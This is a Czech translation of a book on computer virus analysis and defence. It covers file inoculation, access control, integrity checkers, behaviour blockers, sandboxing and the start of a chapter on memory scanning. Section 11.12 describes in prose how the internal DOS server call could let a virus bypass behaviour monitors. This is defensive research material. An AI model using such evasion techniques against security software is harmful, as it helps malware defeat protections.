Každý virus používá jinou značku (nebo nepoužívá značky vůbec), takže je nemožné očkovat soubory proti všem známým virům, natožpak proti virům neznámým. Navíc se mohou jednotlivá očkování proti dvěma různým virům navzájem vylučovat. Jeden virus může například nastavit sekundy v časovém/datovém razítku na hodnotu "62", zatímco jiný virus je může nastavit na "60". V takovém případě je nemožné naočkovat soubor proti těmto dvěma virům současně. Nápad s očkováním nicméně může být užitečný v síťových prostředích, kde není možné jednoduše omezit (popř. rovnou zakázat) důvěryhodné vztahy mezi počítačovými systémy.

Počítačové viry, jako třeba W32/Funlove, dovedou najít a infikovat vzdálené systémy prostřednictvím sdílení přes síť. Je jednodušší se vypořádat s infekcemi, pokud virus neinfikuje už jednou napadené a následně vyléčené objekty. Dezinfekční software může soubory takto označit, takže je bude virus příště ignorovat. Takový trik může pomoci při rychlé dezinfekci síťových prostředí od konkrétního viru.

Počítačové viry – analýza útoku a obrana 

419

Nadbytečné očkování může způsobit problémy při detekci a dezinfekci virů. Například spousta očkovacích programů mění velikost infikovaných objektů. Dezinfekce daného viru může být na infikovaném a současně očkovaném objektu nekorektní v případě, že dezinfekční software potřebuje vypočítat místo od konce souboru.

11.10 Systémy řízení přístupu Řízení přístupu je ochranný mechanismus integrovaný v operačním systému. Například rozdělení virtuální paměti na část pro uživatele a část pro jádro je klasická forma řízení přístupu.

Systémy řízení libovolného přístupu (DACs, discretionary access control systems) jsou založeny na opatrnosti uživatelů. Vlastník objektu (obvykle ten, kdo jej vytvořil) má moc nad tím, kdo a jakým způsobem může k objektu přistupovat. To zahrnuje UNIXová souborová práva, uživatelské jméno a heslo.

Navíc DAC používá pro omezení přístupu k objektům nepovinný seznam řízení přístupu (ACL, Access Control List), který je založen na identifikačních číslech uživatelů a skupin. Uvědomte si, že DAC nedokáže rozlišit pravého vlastníka od kohokoliv jiného. To znamená, že libovolný program bude mít přístupová práva uživatele, který jej spustil.

Povinné řízení přístupu (MAC, Mandatory Access Control) zahrnuje prvky, které uživatel nemůže ovládat. V prostředí MAC se přístup k informacím řídí podle politiky, bez ohledu, na to kdo informaci vytvořil. Pod MAC se objekty označují štítky, které reprezentují citlivost objektů. Označování je automaticky implementováno operačním systémem a uživatelé nemohou tyto štítky v MAC měnit. Příkladem může sloužit Trusted Solaris, který implementuje model Bell-LaPadula. MAC byl navržen hlavně s ohledem na důvěryhodnost se zaměřením na armádní oblast. Politika porovnává aktuální štítek citlivosti uživatele s objektem, ke kterému přistupuje.

První zkušenosti Fredericka Cohena ukázaly37, že systémy řízení přístupu nefungují příliš efektivně proti počítačovým virům, a to proto, že počítačové viry jsou především problémem integrity, nikoliv problémem se samotnou důvěryhodností.

DAC si s tím neporadí, protože virus, který infikoval program, běží se všemi právy k dotyčnému programu (což jsou obvykle práva uživatele, který program vykonal). Virus tedy může infikovat jiné programy, které patří onomu uživateli. Na víceuživatelském systému navíc existuje druh sdílení informací mezi uživateli, což znamená, že infikovaný objekt jednoho uživatele může být spuštěn jiným uživatelem, který má k infikovanému objektu přístup. Jakmile se spustí, běží s právy uživatele, který jej spustil a virus je tedy schopen infikovat i objekty na jeho systému. Infekce pokračuje dále a teoreticky se mohou infikovat všichni uživatelé v síti. Cohen ukázal, že virus může získat práva roota během několika minut.

Kontrolovat virové infekce je možné takto: 

Omezit funkčnost Většinu ledniček není možné infikovat počítačovými viry, nicméně novější modely rozšiřují své funkce pomocí vestavěných operačních systémů a dají se počítačovými viry v budoucnu zneužít.



Omezit sdílení informací Izolovaný počítač nemohou počítačové viry napadnout.

420 

Kapitola 11 – Techniky antivirové obrany Omezit přenosnost informačního toku Pokud uživatel A pošle informaci uživateli B a uživatel B pošle informaci uživateli C, neznamená to, že uživatel A zaslal informaci uživateli C.

V případě MAC politika specifikuje, která třída uživatelů má povoleno předat informace jiné třídě. Uživatelé mají povoleno předat informaci pouze stejnému okruhu oprávnění, ve kterém se sami nacházejí, stejně jako "nižším" ochranným okruhům. MAC tedy neuspěje, protože virus může infikovat libovolného uživatele ve stejném okruhu, stejně jako v okruhu nižším. Výsledkem je, že systémy řízení přístupu virové infekce pouze zpomalují a vůbec neřeší vzniklý problém.

11.11 Kontrola integrity Široké spektrum skenovacích technik jasně ukazuje, jak obtížná může být detekce počítačových virů, která je založená na identifikaci známých virů. Problém detekce virů se zdá být lépe podchycený pomocí generických metod, které dovedou detekovat a zabránit změnám v souborech a jiných spustitelných objektech v závislosti na jejich integritě.

Frederick Cohen demonstroval, že kontrola integrity37 počítačových souborů je nejlepší generickou metodou. Například on-demand kontrolory integrity dovedou spočítat kontrolní součet každého souboru pomocí nějakého známého algoritmu, jako třeba MD4, MD538 nebo CRC32. A skutečně, i jednoduché CRC algoritmy fungují efektivně změnou polynomu generátoru39.

On-demand kontrolory integrity používají databázi kontrolních součtů, která je vytvořena na chráněném systému nebo někde jinde, například na nějakém místě dostupném online. Tato databáze se použije pokaždé, když se spustí kontrolor, aby zjistil nové objekty v systému nebo změny ve známých objektech.

Detekce nových a změněných objektů je jistě tou nejjednodušší cestou, která vede k nalezení možné virové infekce a jiných systémových kompromitací. Existuje nicméně řada nevýhod, které jsou rozebrány v následujících částech.

11.11.1 Falešné poplachy Kontrolory integrity dat obecně produkují mnoho falešných poplachů. Mnoho aplikací například mění svůj vlastní kód. Když jsem vytvářel svůj první vlastní kontrolor, byl jsem počtem aplikací, které mění svůj kód, opravdu velmi překvapen (dělá to například i Turbo Pascal). Programy obvykle mění svůj kód proto, aby uložily konfigurační informace (společně se spustitelným souborem). Z hlediska integrity se jedná o velmi špatný nápad, který bohužel používá mnoho aplikací.

Jiné falešné poplachy se objeví z důvodu, že uživatel rád používá run-time pakovače. Nástroje jako třeba PKLITE, LZEXE, UPX, ASPACK nebo Petite (abych jich uvedl alespoň několik) se používají ke zkomprimování aplikací na disku. Uživatel se může kdykoliv rozhodnout, že zkomprimuje nějakou aplikaci, čímž kontrolor integrity dat spustí alarm, protože soubor už nebude mít stejný kontrolní součet jako jeho nezkomprimovaná varianta. Zkomprimovaný soubor je obvykle znatelně menší, než ten původní. Kontrolor integrity může omezit výskyt falešných poplachů tak, že společně s kontrolním součtem také uloží dodatečné informace o souboru, třeba o jeho velikosti. Jakmile se velikost souboru zmenší,

Počítačové viry – analýza útoku a obrana

421

kontrolor může zredukovat falešné poplachy tím, že nezobrazí žádné varování. Tohle ovšem umožní komprimujícím souborovým virům úspěšné infikování systému.

A aby toho nebylo málo, dalším obvyklým zdrojem falešných poplachů jsou aktualizace. Mnoho bezpečnostních aktualizací (včetně Windows Update) je hodně nenápadných, takže je obtížné získat představu o tom, které soubory byly během aktualizace změněny. Výsledkem je to, že si nemůžete být jednoduše jisti, zdali máte akceptovat změny v souborech nebo ne. Je to přesně ten důvod, proč se správa aktualizací, společně s kontrolou integrity dat, sloučí v budoucnu s různými bezpečnostními řešeními.

11.11.2 Prvotní čistý stav Kontrolor integrity dat předpokládá, že systém je při prvním skenu v čistém stavu. Bohužel mnoho uživatelů začne používat antivirový program až poté, co mají podezření, že je jejich systém napaden.

Jestliže je systém už infikován, kontrolor spočítá kontrolní součet s virem, čímž se stává taková kontrola integrity dat naprosto neúčinnou. Překotný vývoj těchto kontrolorů navíc vyústil v celou řadu protiútoků. Například takové stealth viry jsou pro kontrolory velkým oříškem. Další problém vznikne tehdy, když uživatel spustí infikovanou aplikaci – po jejím spuštění může virus vymazat databázi s kontrolními součty, což má za výsledek buď kompletní odstranění kontroloru integrity, nebo potřebu opětovného vytvoření celé databáze součtů, čímž jeho užitečnost bere za své. A co je ještě důležitější, systémy kontroly integrity musí důvěřovat systémům, které jsou už svým návrhem nedůvěryhodné, a to z důvodu nedostatku zabezpečení zabudovaného v hardwaru40.

11.11.3 Rychlost Kontrolory integrity dat jsou obvykle pomalé. Spustitelné objekty mohou být velké a mohou vyžadovat mnoho I/O operací pro výpočet kontrolního součtu a toto zpomalení může uživatele obtěžovat. Z tohoto důvodu jsou kontrolory integrity dat optimalizovány pro získávání součtu z oblastí souborů, které pravděpodobně mohou být předmětem infekce. Uloží se například začátek (oblast hlavičky), vstupní bod a velikost souboru. Někdy se také uloží atributy a informace o posledním přístupu. Taková kontrola integrity může výkon kontroloru vylepšit, ale současně snížit účinnost, protože náhodně přepisující viry nebo viry s EPO technikami (viz kapitola 4) ne vždy změní soubor na předpokládaných místech.

11.11.4 Speciální objekty Kontrolory integrity dat potřebují vědět o speciálních objektech, jako je třeba dokument Microsoft Wordu s makry uloženými uvnitř41. Není totiž dobré hlásit změny v dokumentu vždy, když jej uživatel nějak upraví. To by znamenalo výskyt takového množství změn, že by z toho uživatel byl silně rozčarován a pravděpodobně by celou ochranu vypnul – a není nic horšího, než systém s nevyužitou ochranou.

Různé objekty, jako jsou třeba dokumenty, které by mohly obsahovat nebezpečná makra, by se měly analyzovat, avšak místo kontroly celého dokumentu je lepší kontrolovat pouze vložená makra. To znamená, že kontrolory integrity, stejně jako antivirové programy, jsou ovlivněny neznámými formáty, takže se takové řešení stává méně generickým než by se na první pohled zdálo.

422

Kapitola 11 – Techniky antivirové obrany

11.11.5 Nezbytné změny v objektech Systémy kontroly integrity fungují pouze na změněných objektech v systému, takže nebezpečí ve formě vložení kódu do paměti, jako jsou třeba rychle se šířící červi, nedokážou takové systémy zastavit.

11.11.6 Možná řešení Některé nejčastější problémy kontroloru integrity dat mohou být zredukovány42, například v kombinaci s jinou ochranou, jako je třeba antivirový software. Antivir může hledat známé viry a kontrolor integrity může zvýšit stupeň ochrany. Taková řešení mohou být skutečně adekvátní a očekává se, že v budoucnu budou, vzhledem k rostoucímu počtu počítačových virů, stále více populární. Stejně jako se zvyšuje počet EPO virů, se bude rovněž zvyšovat I/O poměr antivirového software. Tento I/O poměr bude podobný poměru kontroloru integrity dat, který musí spočítat kontrolní součet obsahu celého souboru, takže bude vyžadovat alespoň tolik času, kolik bude potřeba na proskenování na všechny známé viry.

Takto začne být kontrola integrity dat přijatelnější z hlediska výkonu, což znamená, že se dá kompletní kontrola integrity souborů použít pro rychlejší skenování souborů. A to pouhou kontrolou změněných souborů na eventuální infekce.

Také se očekává, že v budoucnu se bude více aplikací vydávat v podepsané formě, takže množství samomodifikujících se aplikací se bude i nadále snižovat.

Metody kontroly integrity je možné dále vylepšovat implementací jako on-access řešení. Frederick Cohen takové systémy nazval jako "integrity shells"43. Jak jsme si už říkali, typické prostředí PC se nedá softwarem považovat za důvěryhodné, protože hardware neimplementuje bezpečný bootovací systém.

V budoucnu bude PC architektura obsahovat bezpečnostní čip, který bude mít v sobě uložený tajný klíč.

To umožní načtení operačního systému tak, že se ověří integrita každé komponenty a zajistí se důvěryhodnost. Některé takové systémy navíc nabídnou vylepšenou ochranu paměti, čímž nebezpečnému kódu znesnadní zásahy do samotné ochrany systému. Administrátor systému bude moci vytvořit politiku důvěry aplikacím, která bude založena na několika faktorech, třeba na tom, zdali je aplikace podepsaná nebo ne. Výsledkem bude lepší integrita systému, která znatelně omezí dopady počítačových virů.

Jediným problémem je to, že uživatelé často potřebují instalovat na svůj systém nový software. Je nemožné dosáhnout bezchybné integrity systému v případě, že jsou uživatelé oklamáni způsobem, který vede ke spuštění čehokoliv. Některé z těchto problémů se dají vyřešit speciální správou politiky a definováním důvěryhodných a nedůvěryhodných zdrojů. Některé on-access kontrolory integrity dat například využívají tzv. whitelist čistých souborů a jejich jmen. Taková řešení jsou velmi praktická v kriticky důležitých prostředích, která jsou pod kontrolou centralizované správy systému.

11.12 Monitory podezřelého chování Jiný druh systémů se snaží blokovat infekce virů na základě sledování chování aplikací. Jedno z prvních antivirových řešení, FluShot, patří do této třídy ochrany před počítačovými viry. Pokud například aplikace otevírá jiný spustitelný soubor pro zápis, monitor zobrazí varování a vyžaduje svolení od uživatele pro vykonání této operace. Bohužel takové nízkoúrovňové události mohou generovat příliš mnoho varování a stávají se tak pro uživatele ještě více neakceptovatelnými než kontrolory integrity dat. Chování

Počítačové viry – analýza útoku a obrana

423

každé třídy počítačových virů může být navíc úplně odlišné, přičemž počet vzorků podezřelého chování, které způsobují infekci systému, je nekonečný.

Ještě závažnější problém je ovšem to, že monitory podezřelého chování je obtížné implementovat, pokud operační systém neposkytuje dobrou ochranu paměti. V takovém případě totiž mohou počítačové viry skočit do privilegovaného režimu (viz kapitola 5 o klasifikaci metod infekce paměti), což snižuje účinnost těchto systémů, protože je virus může jednoduše obejít.

Některé viry mohou čekat tak dlouho, dokud není objektu uděleno právo k zápisu. Tyto viry se nazývají jako pomalé infektory. Obvykle totiž čekají v paměti, dokud uživatel nevytvoří kopii spustitelného objektu a pak ji infikují v cachi souborů ještě před tím, než se zapíše na disk. Pomalé infektory efektivně útočí na monitory podezřelého chování a jsou také noční můrou pro kontrolory integrity44.

Tunelovací viry rovněž dovedou jednoduše obejít systémy blokující podezřelé chování. A to skokem přímo do kódu, který se použije v případě, že systém požadavek povolí. Takové triky jsou možné, protože tyto systémy často přehlížejí důležité systémové události, které se k obejití ochrany používají. Například na systémech DOS 3.1+ existuje interní funkce AX=5D00h/INT 21h, která je známá jako serverové volání funkce. Toto volání přijímá seznam parametrů, na které ukazuje DS:DX, ve kterém je struktura registrů (AX, BX, CX, DX, SI, DI, DS, ES), ID číslo počítače a ID číslo procesu. Pokud útočník zadá ID počítače jako nula, funkce se místo na vzdáleném systému spustí na lokálním systému.

Standardní volání funkce INT 21h je možné jednoduše spustit přes toto rozhraní – předáním příslušných registrů v bloku parametrů, například funkcí AX=3D02h (otevření souboru pro zápis). Jakmile DOS přijme toto volání, zkopíruje blok parametrů do registrů a znovu volá přímo obsluhu INT 21h (viz obrázek 11.9). Problém je pro monitory chování zřejmý – dokud nebudou počítat s tímto interním DOSovým voláním, bude možné je "přeskočit". Poté, co je soubor otevřený pro zápis, je kód monitoru vynechán, přičemž se už nikdy nezavolá.

Poznámka Když mě společnosti vyrábějící monitory podezřelého chování požádali, abych otestoval jejich preventivní řešení, přišel jsem s touto možnou teorií. Společnosti byly překvapeny, když zjistili tuto a další metody, které fakticky představovaly "díry" v jejich ochraně. Některá taková řešení, která jsem měl otestovat, byly systémy ochrany implementované v hardwaru. Žádné z nich v daný čas nedokázalo čelit tomuto útoku. Pokud je mi ovšem známo, žádný virus tento trik nikdy nepoužil, což naznačuje, že se jedná o velmi specifický útok.

424

Obrázek 11.9

Kapitola 11 – Techniky antivirové obrany

Možný trik na obranu proti monitorům podezřelého chování v DOSu.

Samozřejmě, že tyto systémy nejsou neužitečné – stále efektivně fungují proti velké řadě počítačových virů. Dají se implementovat pomocí heuristických metod, které dovedou zredukovat výskyt falešných poplachů tím, že lépe chápou konkrétní útok. Například většina počítačových červů masově se šířících přes SMTP se dá velmi efektivně blokovat snížením počtu šancí na exploitaci systému (s použitím prevence proti útoku založeném přetečení paměti). Tyto techniky jsou podrobně popsány v kapitole 13.

Heuristické systémy blokující podezřelé chování jsou velkou nadějí proti známým třídám útoků. Tisíce virů se dá detekovat jedinou metodou, s minimálním poměrem falešných poplachů. Navíc byly některé expertní systémy navrženy takovým způsobem, aby používaly porovnávání vzorků chování pro detekci tříd virů, které je založeno na předcházejícím trénování v testovacím systému infikovaném počítačovými viry45. Na základě vzorků chování je také možné detekovat programy typu zadní vrátka46.

11.13 Sand-Boxing Sand-boxing systémy jsou relativně novým prvkem pro vypořádání se s nebezpečným kódem. Jak už jsme si říkali v předešlých částech kapitoly, jedním z největších problémů v ochraně je fakt, že uživatelé neustále potřebují spouštět programy z nedůvěryhodných zdrojů, což je třeba případ spustitelné přílohy získané z e-mailové zprávy. Jakmile se nový virus spustí, často se dovede rozeslat dál nebo rovnou zničit důležité informace.

Sand-boxing řešení představují klec, tzv. "virtuální subsystémy" v rámci stávajícího operačního systému. Myšlenka spočívá v tom, že nedůvěryhodné programy budou běžet ve virtuálním stroji, který má přístup ke stejným informacím jako má uživatel na svém lokálním počítači, ale pouze pro zkopírování v rámci své klece. Na virtuálním systému bude nový nedůvěryhodný program, jako třeba počítačový virus, schopen číst soubory, které jsou na "opravdovém systému", dokonce i klíče registrů, ale síťové možnosti budou silně omezeny. Jakmile se nedůvěryhodný program pokusí učinit nějakou změnu (tře-

Počítačové viry – analýza útoku a obrana

425

ba se pokusí replikovat), provede to pouze uvnitř klece. Jakmile aplikace skončí, mohou se změny v souborech a v registru systému zahodit a podezřelé činnosti následně zaznamenat.

Toto řešení bohužel naráží na několik problémů: 

Sand-boxing způsobuje problém s kompatibilitou. Síťová funkčnost softwaru ve virtuálním stroji je omezená, takže ne každému softwaru se bude takový virtuální stroj zamlouvat.



Celý koncept je založen na důvěryhodnosti. Pokud uživatel spustí aplikaci z důvěryhodné zóny, bude infikován opravdový systém a ochrana sand-boxing systému bude odstraněna. Tento problém se podobá problému s řízením přístupu.



Sand-boxing si nemusí umět poradit s retroviry, které exploitují síťové služby.



Takové systémy bývají specifické pro konkrétní klienty. Sand-boxing systém může například velmi dobře pracovat s několika verzemi Microsoft Outlooku, ale bude naprosto nekompatibilní s jinými poštovními klienty.



Virtuální systém může mít díry, které mohou být podobné těm v monitorech podezřelého chování. Nějaký šikovný nebezpečný kód může spustit funkce na opravdovém stroji místo toho, aby je spustil na virtuálním stroji.

Toto řešení je nicméně velmi zajímavé a je pravděpodobné, že se v budoucnosti vyvine v nezbytnou součást vícevrstvého bezpečnostního modelu.

11.14 Závěr Strategie počítačových antivirů nejsou stejné, jako byly před 15 lety. Moderní antivirová řešení jsou více než jenom obyčejné skenery na bázi vyhledávání řetězců. Skenery se staly úžasným nástrojem, které využívají ty nejúchvatnější nápady a vynálezy, aby mohly pokračovat v nikdy nekončícím boji proti šikovným počítačovým virům. Nejvyspělejší antivirový software se bude dál vyvíjet společně s nejvyspělejšími počítačovými viry současnosti a naopak.

Odkazy 1. Peter Szor, "The New 32-bit Medusa", Virus Bulletin, prosinec 2000, str. 8-10.

2. Frans Veldman, "Why Do We Need Heuristics?", Virus Bulletin Conference, 1995, str. XI-XV. 3. Frans Veldman, "Combating Viruses Heuristically", Virus Bulletin Conference, září 1993, Amsterdam.

4. Rajeev Nagar, "Windows NT: File System Internals", O’Reilly, Sebastopol 1997, ISBN: 1-56592249-2.

5. R.S. Boyer a J. S. Moore, "A Fast String Searching Algorithm", CACM, říjen 1997, str. 762-772.

6. Carey Nachenberg, osobní komunikace, 1999.

7. Roger Riordan, "Polysearch: An Extremely Fast Parallel Search Algorithm", Computer Virus and Security Conference, 1992, str. 631-640.

426

Kapitola 11 – Techniky antivirové obrany

8. Dr. Peter Lammer, "Cryptographic Checksums", Virus Bulletin, říjen 1990.

9. Fridrik Skulason a Dr. Vesselin Bontchev, osobní komunikace, 1996.

10. Dr. Ferenc Leitold a Janos Csotai, "Virus Killing and Searching Language", Virus Bulletin Conference, 1994.

11. Frans Veldman," Generic Decryptors: Emulators of the future", http://users.knoware. nl/users/veldman/frans/english/gde.htm.

12. Frederic Perriot, "Ship of the Desert", Virus Bulletin, červen 2004, str. 6-8.

13. Peter Ferrie a Peter Szor, "Zmist Opportunities", Virus Bulletin, březen 2001, str. 6-7.

14. Frederic Perriot a Peter Ferrie, "Principles and Practice of X-raying", Virus Bulletin Conference, 2004, str. 51-65.

15. Eugene Kaspersky, osobní komunikace, 1997.

16. Carey Nachenberg, "Staying Ahead of the Virus Writers: An In-Depth Look at Heuristics", Virus Bulletin Conference, 1998, str. 85-98.

17. Dr. Igor Muttik, osobní komunikace, 2001.

18. Frederic Perriot, "Defeating Polymorphism Through Code Optimization", Virus Bulletin Conference, 2003.

19. Peter Szor a Peter Ferrie, "Hunting for Metamorphic", Virus Bulletin Conference, 2001, str. 123144.

20. Andrian Marinescu, "ACG in the Hole", Virus Bulletin, červenec 1999, str. 8-9.

21. Dmitry O. Gryaznov, "Scanners of the Year 2000: Heuristics", Virus Bulletin Conference, 1995, str.

225-234.

22. Kurt Natvig, "Sandbox II: Internet", Virus Bulletin Conference, 2002, str. 125-141.

23. Peter Ferrie, "Magisterium Abraxas", Virus Bulletin, květen 2001, str. 6-7.

24. Gabor Szappanos, "VBA Emulator Engine Design", Virus Bulletin Conference, 2001, str. 373-388.

25. Peter Szor, "Attacks on Win32", Virus Bulletin Conference, 1998.

26. Glenn Coates a David Leigh, "Virus Detection: The Brainy Way", Virus Bulletin Conference, 1995, str. 211-224.

27. Righard Zwienenberg, "Heuristics Scanners: Artificial Intelligence?", Virus Bulletin Conference, 1995, str. 203-210.

28. Costin Raiu, "Defeating the 7-headed monster", http://craiu.pcnet.ro/papers.

29. Gerald Tesauro, Jeffrey O. Kephart, Gregory B. Sorkin, "Neural Networks for Computer Virus Recognition", IEEE Expert, Vol. 11, No. 4, srpen 1996, str. 5-6.

30. William Arnold a Gerald Tesauro, "Automatically Generated Win32 Heuristic Virus Detection", Virus Bulletin Conference, září 2000, str. 123-132.

Počítačové viry – analýza útoku a obrana

427

31. John Von Neumann, The Computer and the Brain, Yale University, 2000, 1958, ISBN: 0-30008473-0.

32. Peter Szor, "Generic Disinfection", Virus Bulletin Conference, 1996.

33. Frans Veldman, dokumentace k programu TBCLEAN. 34. Dr. Alan Solomon, osobní komunikace, 1996.

35. Dr. Alan Solomon, "PC Viruses: Detection, Analysis and Cure", Springer Verlag, 1991.

36. Carey Nachenberg a Alex Haddox, "Generic Decryption Scanners: The Problems", Virus Bulletin, srpen 1996, str. 6-8.

37. Dr. Frederick B. Cohen, A Short Course on Computer Viruses, Wiley, 2nd Edition, 1994, ISBN: 0471007684.

38. Ronald L. Rivest, "The MD5 Message-Digest Algorithm", RFC 1321, duben 1992.

39. Yisrael Radai, "Checksumming Techniques for Anti-Viral Purposes", Virus Bulletin Conference, 1991, str. 39-68.

40. Dr. Frederick Cohen, "A Note on High-Integrity PC Bootstrapping", Computers & Security, 10, 1991, str. 535-539.

41. Mikko Hypponen, "Putting Macros Under Control", Virus Bulletin, 1998, str. 289-300.

42. Vesselin Bontchev, "Possible Virus Attacks Against Integrity Programs and How to Prevent Them", Virus Bulletin Conference, 1992, str. 131-141.

43. Dr. Frederick Cohen, "Models of Practical Defenses Against Computer Viruses", Computers & Security, 8, 1989, str. 149-160.

44. Dr. Vesselin Bontchev, osobní komunikace, 2004.

45. Morton Swimmer, "Virus Intrusion Detection Expert System", EICAR, 1995.

46. Costin Raiu, "Suspicious Behaviour: Heuristic Detection of Win32 Backdoors", Virus Bulletin Conference, 1999, str. 109-124.

428

Kapitola 11 â&#x20AC;&#x201C; Techniky antivirovĂŠ obrany

KAPITOLA 12 Skenování paměti a dezinfekce

"Nebojte se dokonalosti, nikdy jí nedosáhnete."

– Salvador Dali

430

Kapitola 12 – Skenování paměti a dezinfekce

Skenování paměti je nutností ve všech operačních systémech. Poté, co se virus spustí a je aktivní v operační paměti, má možnost použít utajovacích (stealth) technik a skrýt se tak před vyhledávači1. Dokonce i v případě, že nepoužívá žádnou techniku utajení, je jeho odstranění ze systému (je-li aktivní v paměti) ztíženo tím, že může opakovaně napadat již dezinfikované objekty. Kromě toho, žádný soubor nemůže být smazán z disku, dokud je nahrán v paměti jako proces. A podobně – klíč registru související se škodlivým kódem nemůže být smazán poté, co antivir klíče registru odstraní a škodlivý program je vrátí zpět.

Jak bylo popsáno v kapitole 5, mnoho virů používá v systémech Windows 95 a Windows NT adresářovou stealth techniku. Viděli jsme také první implementace úplné stealth techniky pro Windows 95.

Na počátku roku 1998 diskutovali Mikko Hypponen, Ismo Bergroth2 a já eventuální budoucí nebezpečí, na které je potřeba se připravit. Jedna z nejvíce zneklidňujících hrozeb byla přitom idea počítačového červa, který nenapadá disk počítače. Dokonce ani on-access skenery (skenery reagující na přístup) nejsou před nimi schopny ochránit systém, protože se před spuštěním viru nevytváří v systému žádné soubory. Takový červ by pravděpodobně používal protokol HTTP a parazitoval přitom na zranitelnosti webového serveru. Podstata problému je však ještě jednodušší – webové prohlížeče (jako například Microsoft Internet Explorer) zobrazují obsah HTML kódu ještě před jeho uložením na disk. V důsledku toho může být škodlivý kód vykonán ještě před tím, než jej on-access skener může zablokovat.

Tuto teorii prokázal v roce 2001 červ W32/CodeRed, který byl v tomto přístupu následován virem W32/ Slammer. Bez skenování paměti nemohou být tyto hrozby detekovány antivirovým programem; je však možné namítnout, že spíše než antivirové programy je lepší využít některou z preventivních technik proti průniku. Ještě důležitější však je to, aby si byl skener paměti jistý, že v systému byla detekována aktivní kopie červa. Když CodeRed odešle svoji kopii do nezranitelného systému Microsoft IIS, bude tělo kódu červa v heapu IIS přesně na stejném místě, kde by běžela aktivní kopie. Viděl jsem antivirové řešení od předního výrobce, které ukočilo běh IIS z toho důvodu, že v adresovacím prostoru procesu nezranitelné instalace byla detekována neaktivní kopie červa!

Tato kapitola popisuje různé způsoby, jakými 32bitové viry setrvávají v paměti jako jednotlivé procesy a popisuje možné cesty jejich detekce a deaktivace.

Koncem roku 1998 jsme viděli první implementace virů pro Windows NT, které běží jako služby (services): WinNT/RemEx3. Přestože je možné takové viry detekovat z aplikace běžící v uživatelském režimu, problém se stává závažnějším u nativních virů pro systémy Windows NT/2000/XP/2003, implementovaných jako ovladače zařízení, které běží v režimu jádra. Takové viry není možné v uživatelském režimu detekovat (pouze v režimu jádra), protože na rozdíl od systému Windows 95 je v systémech Windows NT a jeho následovnících adresovací prostor systému chráněn proti čtení a zápisu. To je pravděpodobně nejvýznamnější důvod toho, že skenery paměti by pod Windows NT měly být implementovány jako ovladače v režimu jádra. V této kapitole se budeme zabývat oběma druhy implementací skenerů paměti v systémech založených na Windows NT.

Počítačové viry – analýza útoku a obrana

431

12.1 Úvod Autoři virů si dobře uvědomují, že se vir replikuje rychleji, pokud je aktivní v paměti a zachytává přitom volání operačního systému. Už první viry, jako například Brain, nebo Jerusalem, zůstávaly vždy rezidentní v paměti.

Nejúspěšnější infektoři souborů a boot sektorů používají všechny typy strategií zavěšení. Viry, které nepoužívají techniku TSR (Terminate and Stay Resident), mají v systému DOS mnohem menší šanci. Když se virus napojí na funkce souborového systému, může snadněji získat přístup k jednotlivým programům nebo oblastem systému a za běhu je infikovat. To samozřejmě znamená, že se velice rychle nakazí většina důležitých a často používaných aplikací a oblastí systému. Je tedy velká šance, že virus pronikne z jednoho systému do druhého, aniž by to uživatel zaznamenal. Další výhodou rezidentních virů je to, že mohou použít technologii stealth, aby se skryly před skenery a kontrolory integrity. Technologie úplného skrytí (full-stealth) je implementována v mnoha starších virech (například Frodo) a v budoucnu bude nepochybně rovněž použita v 32bitových a 64bitových virech pro Windows.

Virus Tremor byl jeden z prvních 16bitových polymorfních virů pro DOS, který využíval technik úplného ukrytí. Je-li aktivní v paměti, je zcela ukrytý. Po dobu, po kterou je virus aktivní, zůstává velikost infikované aplikace i jejího obsahu "virtuálně" stejná. Dokud je virus aktivní v paměti, nedokáže vyhledávač virů snadno detekovat napadené soubory. Dalším problémem je to, že on-demand skenery virů, zpřístupňují během skenování všechny důležité aplikace a oblasti systému, takže se do nich aktivní virus může zreplikovat. (Viry, které infikují soubory v době, kdy jsou zpřístupňovány a to jakýmkoliv způsobem, se nazývají jako rychlé infektory.) Vývojářům antivirových řešení bylo tedy zřejmé, že by do svých produktů měli implementovat skenování a dezinfekci paměti.

Skenování paměti bylo v systému DOS relativně jednoduchou úlohou. Protože DOS používá procesory Intel pracující v reálném módu (real mode), nebylo možné zpřístupnit více než 1 MB fyzické paměti; virtuální paměť nebyla podporována vůbec. DOS kromě toho neimplementuje žádný mechanismus ochrany kódu operačního systému. Aktuálně zavedené jádro DOSu a všechny aplikace sdílí stejnou ohraničenou paměť, a protože mají v počítači stejná práva, mohou si navzájem překážet (náhodně se přepisovat).

Paměť v DOSu může být skenery virů přímo adresována a zpřístupňována pro čtení i zápis, takže vývoj takových skenerů byl jednoduchý. Většina skenerů ani nekontroluje, jestli je v aktuální oblasti paměti vůbec zaveden nějaký kód nebo data a provádějí vyhledávání signatury viru v celé fyzické paměti, pěkně bajt po bajtu. O několik let později se v paměti objevovaly tisíce signatur virů a antivirové programy se kvůli zvýšení rychlosti a vyloučení falešných detekcí snazily prohledávat pouze aktivní oblasti paměti.

Takové skenery procházejí paměť pomocí MCB (Memory Control Block). V systému DOS je paměť alokována v "arénách" (v sekcích paměti). Každá taková aréna začíná jejím ovladačem, nazvaným MCB. Získání odkazu na první MCB je možné pouze s pomocí nedokumentované funkce DOSu (funkce Int 21h/52h). Tato funkce byla zpočátku plánována jako "interní" v DOSu, a proto nebyla nakonec zdokumentována. Rozlouskávání nedokumentovaných rozhraní je u systémů firmy Microsoft bohužel každodenním problémem. (Není tedy překvapující, že pro implementaci efektivních skenerů paměti pro Windows NT muselo být rovněž objeveno mnoho podobných nedokumentovaných rozhraní.)

432

Kapitola 12 – Skenování paměti a dezinfekce

Vytvořit skener paměti pro DOS bylo relativně snadné; je však obtížnější udělat to stejné pro Windows 95, přičemž obzvláště složité to bylo u systému Windows NT. Systémy založené na Windows NT totiž spravují "virtuálně neomezenou" paměť. Virtuální adresovací prostor je celkem 4 GB (s výjimkou 64bitových architektur). Současné systémy založené na NT (2000/XP/2003) používají pochopitelně méně paměti, v průměru 128 až 256 MB fyzické paměti. Domácí počítače s 1 GB fyzické paměti ovšem nejsou neobvyklé – jsou to výborné systémy pro hry.

Zbytek paměti je pouze virtuální a je řízený operačním systémem použitím levnější (a mnohem pomalejší) dostupné kapacity na pevném disku. Opravdový skener paměti pro Windows NT by měl procházet virtuální adresovací prostor všech běžících procesů. Protože však souvislá virtuální paměť nemusí být souvislá fyzicky, musí paměťový skener pro Windows NT skenovat nikoliv s využitím fyzických (jako skenery v DOSu) adres, ale s pomocí virtuálních adres.

